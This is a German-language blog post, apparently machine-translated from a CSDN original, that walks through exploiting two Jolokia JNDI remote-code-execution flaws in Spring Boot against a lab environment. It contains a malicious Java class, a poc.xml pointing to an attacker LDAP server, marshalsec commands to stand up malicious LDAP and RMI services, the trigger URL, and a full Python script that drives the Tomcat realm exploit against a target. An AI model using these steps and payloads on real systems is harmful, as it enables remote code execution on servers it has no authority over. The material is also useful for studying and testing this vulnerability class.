Eine unsachgemäße Konfiguration von Spring Boot jolokia führt zu einer RCE-Sicherheitslücke

Haftungsausschluss: Dieser Artikel dient nur zum Lernen und Nachschlagen. Alle darin enthaltenen Ressourcen stammen aus dem Internet. Bitte verwenden Sie diese nicht für illegale Handlungen, da Sie sonst die entsprechenden Konsequenzen selbst tragen müssen und ich keine rechtliche und gesamtschuldnerische Haftung übernehme .

Sicherheitslücke 1: Jolokia-Logback JNDI RCE

Umgebung erstellen

Die Schwachstellenumgebung ist:
https://github.com/LandGrey/SpringBootVulExploit/tree/master/repository/springboot-jolokia-logback-rce

IDEA lädt den Quellcode und konfiguriert einen Spring Boot, um die Umgebung auszuführen.
Fügen Sie hier eine Bildbeschreibung ein
Nachdem die Umgebung ausgeführt wurde, besuchen Sie die /jolokia-Schnittstelle

Fügen Sie hier eine Bildbeschreibung ein

Nutzungsbedingungen

Die Zielwebsite verfügt über eine /jolokia- oder /actuator/jolokia-Schnittstelle.
Das Ziel verwendet die Jolokia-Core-Abhängigkeit (die Versionsanforderung ist noch nicht bekannt) und es gibt verwandte MBeans in der Umgebung. Das
Ziel kann den HTTP-Server des Angreifers anfordern (die Anforderung kann gehen). ins Internet)
Die gewöhnliche JNDI-Injektion wird durch die Auswirkung der Ziel-JDK-Version gesteuert, jdk < 6u201/7u191/8u182/11.0.1 (LDAP), aber die zugehörige Umgebung kann umgangen werden

Wie benutzt man

1. Vorhandene MBeans anzeigen

Besuchen Sie die Schnittstelle /jolokia/list, um zu sehen, ob die Schlüsselwörter ch.qos.logback.classic.jmx.JMXConfigurator und reloadByURL vorhanden sind

Fügen Sie hier eine Bildbeschreibung ein
2. Bereiten Sie den auszuführenden Java-Code vor

Schreiben Sie den Java-Code (Evil.java), der zur Überprüfung der Existenz der Sicherheitslücke verwendet wird

public class Evil{
    
    
    public Evil() throws Exception{
    
    
        Runtime.getRuntime().exec("calc.exe");
    }
}

Kompilieren Sie mit einer Methode, die mit niedrigeren Versionen von JDK kompatibel ist:

javac -source 1.5 -target 1.5 Evil.java

Kopieren Sie dann die generierte Evil.class-Datei auf den Angreifer-VPS.

3. Verwaltete XML-Dateien

Schreiben Sie die Datei poc.xml und legen Sie sie im selben Verzeichnis wie die Datei Evil.class auf dem VPS ab

<configuration>
  <insertFromJNDI env-entry-name="ldap://your-vps-ip:1389/aaabbb" as="appName" />
</configuration>

Verwenden Sie im Verzeichnis poc.xml Python, um einen einfachen http-Dienst zu starten

python3 -m http.server 8080

4. Richten Sie einen bösartigen LDAP-Dienst ein

Laden Sie Marshalsec ( https://github.com/mbechler/marshalsec) herunter und verwenden Sie den folgenden Befehl, um den entsprechenden LDAP-Dienst einzurichten:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://your-vps-ip:8080/#Evil 1389

5. Ersetzen Sie die tatsächliche Your-VPS-IP-Adresse, um auf die URL zuzugreifen und die Sicherheitslücke auszulösen

/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!/your-vps-ip!/poc.xml

Das Ergebnis ist wie folgt: Der Rechner erscheint und zeigt an, dass der Exploit erfolgreich war

Fügen Sie hier eine Bildbeschreibung ein

Fügen Sie hier eine Bildbeschreibung ein

Sicherheitslücke 2: Jolokia Realm JNDI RCE

Die Schwachstellenumgebung verwendet immer noch dieselbe Umgebung wie die Schwachstelle.

Nutzungsbedingungen

Auf der Zielwebsite gibt es eine /jolokia- oder /actuator/jolokia-Schnittstelle.
Das Ziel verwendet die Jolokia-Core-Abhängigkeit (die Versionsanforderung ist noch nicht bekannt) und es gibt verwandte MBeans in der Umgebung. Das
Ziel kann den Server des Angreifers anfordern ( Die Anforderung kann über das Internet erfolgen. Die
gewöhnliche JNDI-Injektion unterliegt der Ziel-JDK-Version Impact, jdk < 6u141/7u131/8u121(RMI), aber die zugehörige Umgebung kann umgangen werden

Wie benutzt man

1. Vorhandene MBeans anzeigen

Greifen Sie auf die Schnittstelle /jolokia/list zu, um zu sehen, ob die Schlüsselwörter type=MBeanFactory und createJNDIRealm vorhanden sind.

2. Bereiten Sie den auszuführenden Java-Code vor

Dieser Schritt ist derselbe wie die Methode aus Lücke 1 und wird hier nicht wiederholt.

3. Verwaltete Klassendateien

Starten Sie im Dateiverzeichnis Evil.class auf dem VPS einen einfachen http-Dienst

python3 -m http.server 8080

4. Richten Sie einen bösartigen RMI-Dienst ein

Laden Sie Marshalsec ( https://github.com/mbechler/marshalsec) herunter und richten Sie mit dem folgenden Befehl den entsprechenden RMI-Dienst ein:

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer http://your-vps-ip:8080/#Evil 1389

5. Senden Sie bösartige Nutzdaten

Ändern Sie die Zieladresse, die RMI-Adresse, den Port und andere Informationen im Skript springboot-realm-jndi-rce.py entsprechend der tatsächlichen Situation und führen Sie es dann auf dem von Ihnen kontrollierten Server aus.

#!/usr/bin/env python3
# coding: utf-8
# Referer: https://ricterz.me/posts/2019-03-06-yet-another-way-to-exploit-spring-boot-actuators-via-jolokia.txt


import requests



url = 'http://192.168.8.14:9094/jolokia'


create_realm = {
    
    
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}

wirte_factory = {
    
    
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}

write_url = {
    
    
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://192.168.10.171:1389/Evil"
}

stop = {
    
    
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}

start = {
    
    
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

flow = [create_realm, wirte_factory, write_url, stop, start]

for i in flow:
    print('%s MBean %s: %s ...' % (i['type'].title(), i['mbean'], i.get('operation', i.get('attribute'))))
    r = requests.post(url, json=i)
    r.json()
    print(r.status_code)

Führen Sie python3 springboot-realm-jndi-rce.py auf VPS aus

Fügen Sie hier eine Bildbeschreibung ein

Auf dem Zielcomputer wird ein Taschenrechner angezeigt und der Exploit ist erfolgreich

Fügen Sie hier eine Bildbeschreibung ein

Guess you like

Origin blog.csdn.net/guo15890025019/article/details/129594714